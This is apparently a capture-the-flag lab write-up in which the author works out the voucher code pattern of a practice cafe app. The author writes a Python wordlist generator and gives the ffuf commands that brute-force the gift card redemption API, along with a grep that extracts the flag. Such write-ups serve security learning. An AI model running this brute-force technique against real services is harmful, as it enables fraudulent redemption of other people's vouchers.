> ## Documentation Index
> Fetch the complete documentation index at: https://docs.jaspervanzeir.be/llms.txt
> Use this file to discover all available pages before exploring further.

# Cafe Club

<Tip>
  Brute force. Can you redeem gift vouchers that don't belong to you?
</Tip>

The hint for today's challenge was straight to the point. With that in mind, my first move was to fire up Burp Suite so I could capture and inspect the HTTP history. Knowing the objective, I navigated straight to the gift cards page in the application to see if I could brute-force and claim vouchers without actually paying for them.

***

## Enumeration & Pattern Recognition

To understand how the system worked, I needed a baseline. I went ahead and purchased a single gift card to see how the codes were structured.

<Frame>
  <img src="https://mintcdn.com/z3r0d4yj/Lqj5mHPBxYtIomZK/images/cafe-club-01-first-gift-card.avif?fit=max&auto=format&n=Lqj5mHPBxYtIomZK&q=85&s=893dbcb460a4c86d9be82b71faa7460c" alt="First gift card" width="1520" height="906" data-path="images/cafe-club-01-first-gift-card.avif" />
</Frame>

One voucher doesn't give you much of a sample size, so I bought and redeemed two more.

<Frame>
  <img src="https://mintcdn.com/z3r0d4yj/Lqj5mHPBxYtIomZK/images/cafe-club-02-voucher-pattern.avif?fit=max&auto=format&n=Lqj5mHPBxYtIomZK&q=85&s=20a69c2f1e7f13dba1b30c12055b9c00" alt="Voucher pattern" width="1520" height="905" data-path="images/cafe-club-02-voucher-pattern.avif" />
</Frame>

Once I had three active vouchers in my account, a clear pattern emerged. Every single voucher code started with `CAFE-0803-A...` followed by three variable letters. The prefix was static, and the suffix was just three uppercase characters.

This was the perfect scenario for a brute-force attack. I opened Burp Suite and checked the HTTP history to examine the exact structure of the redemption request. The request was a `POST` to `/api/giftcards/redeem` containing a JSON body with the voucher code.

<Frame>
  <img src="https://mintcdn.com/z3r0d4yj/Lqj5mHPBxYtIomZK/images/cafe-club-03-redeem-api-request.avif?fit=max&auto=format&n=Lqj5mHPBxYtIomZK&q=85&s=0fb3902f23eec4807cf562c42df9494d" alt="Redeem API request" width="1520" height="906" data-path="images/cafe-club-03-redeem-api-request.avif" />
</Frame>

## Initial Access & Exploitation

I knew enough to start fuzzing, but before I could use a tool like `ffuf`, I needed a wordlist containing all possible three-letter combinations. Since I knew the variable part consisted only of uppercase letters (from `AAA` to `ZZZ`), I wrote a quick Python script to generate the exact text file I needed:

```python theme={null}
import itertools
import string

def generate_combinations():
    letters = string.ascii_uppercase
    filename = "voucher_combinations.txt"
    
    with open(filename, "w") as file:
        # We set repeat to 3 for combinations from AAA to ZZZ
        for combination in itertools.product(letters, repeat=3):
            # Join the letters into a 3-character string
            code = "".join(combination)
            file.write(code + "\n")

if __name__ == "__main__":
    print("Generating combinations...")
    generate_combinations()
    print("Done! Check voucher_combinations.txt.")
```

Running this script gave me a `voucher_combinations.txt` file containing every possible permutation.

Next, I constructed my `ffuf` command:

```shellscript theme={null}
ffuf -w voucher_combinations.txt \
-u https://lab-1773005779523-3qsxkf.labs-app.bugforge.io/api/giftcards/redeem \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5..." \
-d '{"code":"CAFE-0803-AFUZZ"}' \
-mc 200
```

* `-w`: Specifies my custom wordlist.
* `-u`: The target API endpoint.
* `-X POST`: Specifies the HTTP method.
* `-H`: Passes the necessary `Content-Type` and my JWT for authorization.
* `-d`: The JSON payload, using `FUZZ` as the placeholder for `ffuf` to inject the wordlist items.
* `-mc 200`: Match only `200 OK` responses. I knew from Burp that submitting an invalid or already redeemed code threw an error, so a 200 would indicate a successfully brute-forced voucher.

<Frame>
  <img src="https://mintcdn.com/z3r0d4yj/Lqj5mHPBxYtIomZK/images/cafe-club-04-ffuf-valid-vouchers.avif?fit=max&auto=format&n=Lqj5mHPBxYtIomZK&q=85&s=4b83b947c03799e2f5dd4f498f76aed1" alt="ffuf valid vouchers" width="1520" height="905" data-path="images/cafe-club-04-ffuf-valid-vouchers.avif" />
</Frame>

The script ran beautifully and outputted a clear list of valid vouchers. I checked my browser, and sure enough, all those brute-forced vouchers now showed up as redeemed in my account.

<Frame>
  <img src="https://mintcdn.com/z3r0d4yj/Lqj5mHPBxYtIomZK/images/cafe-club-05-redeemed-vouchers-account.avif?fit=max&auto=format&n=Lqj5mHPBxYtIomZK&q=85&s=a424df34920309057149f0efe6b7d4f1" alt="Redeemed vouchers in account" width="1520" height="764" data-path="images/cafe-club-05-redeemed-vouchers-account.avif" />
</Frame>

<Frame>
  <img src="https://mintcdn.com/z3r0d4yj/Lqj5mHPBxYtIomZK/images/cafe-club-06-redeemed-balance.avif?fit=max&auto=format&n=Lqj5mHPBxYtIomZK&q=85&s=33a959279fc8c64e275876a85e173b57" alt="Redeemed balance" width="1520" height="906" data-path="images/cafe-club-06-redeemed-balance.avif" />
</Frame>

## The Obstacle: Where is the Flag?

Despite successfully brute-forcing and redeeming the vouchers, I hit a frustrating wall: I didn't have the flag. Because `ffuf` automated the redemption process, it essentially "consumed" all the valid vouchers in the background. I never actually saw the raw JSON responses, which is almost certainly where the flag was hiding. I knew *what* the valid codes were, but I was blind to the server's success message.

### The "Hacky" Workaround

I needed to see that JSON response. My initial thought was:

> *What if I just create a new account, take one of the valid codes* `ffuf `*just found, and manually submit it via Burp Suite?*

I did exactly that. I created a new user, pasted a valid code into Burp Repeater, and sent the request. It worked, and the JSON response contained the flag!

<Frame>
  <img src="https://mintcdn.com/z3r0d4yj/Lqj5mHPBxYtIomZK/images/cafe-club-07-manual-redeem-flag.avif?fit=max&auto=format&n=Lqj5mHPBxYtIomZK&q=85&s=0eb7ca92fc627fbaf3893d3c720a39de" alt="Manual redeem flag response" width="1520" height="905" data-path="images/cafe-club-07-manual-redeem-flag.avif" />
</Frame>

However, I wasn't satisfied with this. This workaround only succeeded because the application had an underlying business logic flaw, it allowed two different users to redeem the exact same voucher code. If the server had been coded properly to invalidate a code globally once used, my `ffuf` run would have permanently burned all valid codes, locking me out of the flag.

### The Elegant Solution

Wanting to learn the "proper" way to handle this, I decided to do some research online to see if there was a way to make `ffuf` log the response bodies while brute-forcing.

Looking through the [official ffuf documentation on GitHub](https://github.com/ffuf/ffuf/blob/master/README.md), I found the exact solution I needed: the `-od` (output directory) flag. This flag saves every matched HTTP response to a specified folder.

I created *another* new test user (to get a fresh JWT), updated my command, and ran it again:

```shellscript theme={null}
ffuf -w voucher_combinations.txt \
-u https://lab-1773005779523-3qsxkf.labs-app.bugforge.io/api/giftcards/redeem \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5...[NEW_TOKEN]..." \
-d '{"code":"CAFE-0803-AFUZZ"}' \
-mc 200 \
-od results
```

Once `ffuf` finished, it had populated the `results` directory with the raw HTTP responses of every successful hit. I simply ran a recursive `grep` command on that folder:

```shellscript theme={null}
grep -r "bug{" results/
```

Instantly, the terminal spit out the flag directly from the logged JSON responses. This method was infinitely more elegant and didn't rely on secondary server flaws to work.

<Frame>
  <img src="https://mintcdn.com/z3r0d4yj/Lqj5mHPBxYtIomZK/images/cafe-club-08-ffuf-output-directory-flag.avif?fit=max&auto=format&n=Lqj5mHPBxYtIomZK&q=85&s=34e92e8790ab234d472862466ad8d0e9" alt="ffuf output directory flag" width="1520" height="873" data-path="images/cafe-club-08-ffuf-output-directory-flag.avif" />
</Frame>

***

## Tools Used

* Burp Suite (Community Edition): Proxy, HTTP History, and Repeater to analyze the API request structure.
* Python: To write a custom script generating the 3-character permutations wordlist.
* ffuf: To fuzz the API endpoint and automate the brute-force attack.
* grep: To parse the downloaded response files and extract the flag.

***

## Summary

* Key Steps: I identified a predictable pattern in gift card codes, generated a custom wordlist using Python, and brute-forced the API endpoint using `ffuf`. To capture the flag hidden in the response bodies, I utilized `ffuf`'s `-od` flag to save the output and used `grep` to parse it.
* What I Learned: The most valuable takeaway from this challenge was learning how to properly log response bodies in `ffuf` using the `-od` flag. Finding a vulnerability is only half the battle; capturing the exfiltrated data cleanly is just as important.
* Crucial Mistakes/Takeaways: Relying on my initial "hacky" workaround (creating a second account to redeem an already-used code) was a bad practice. It relied on a secondary vulnerability (duplicate redemptions) to bypass a limitation in my own tooling methodology. Taking a step back to research the official tool documentation led to a much more robust and professional technique.
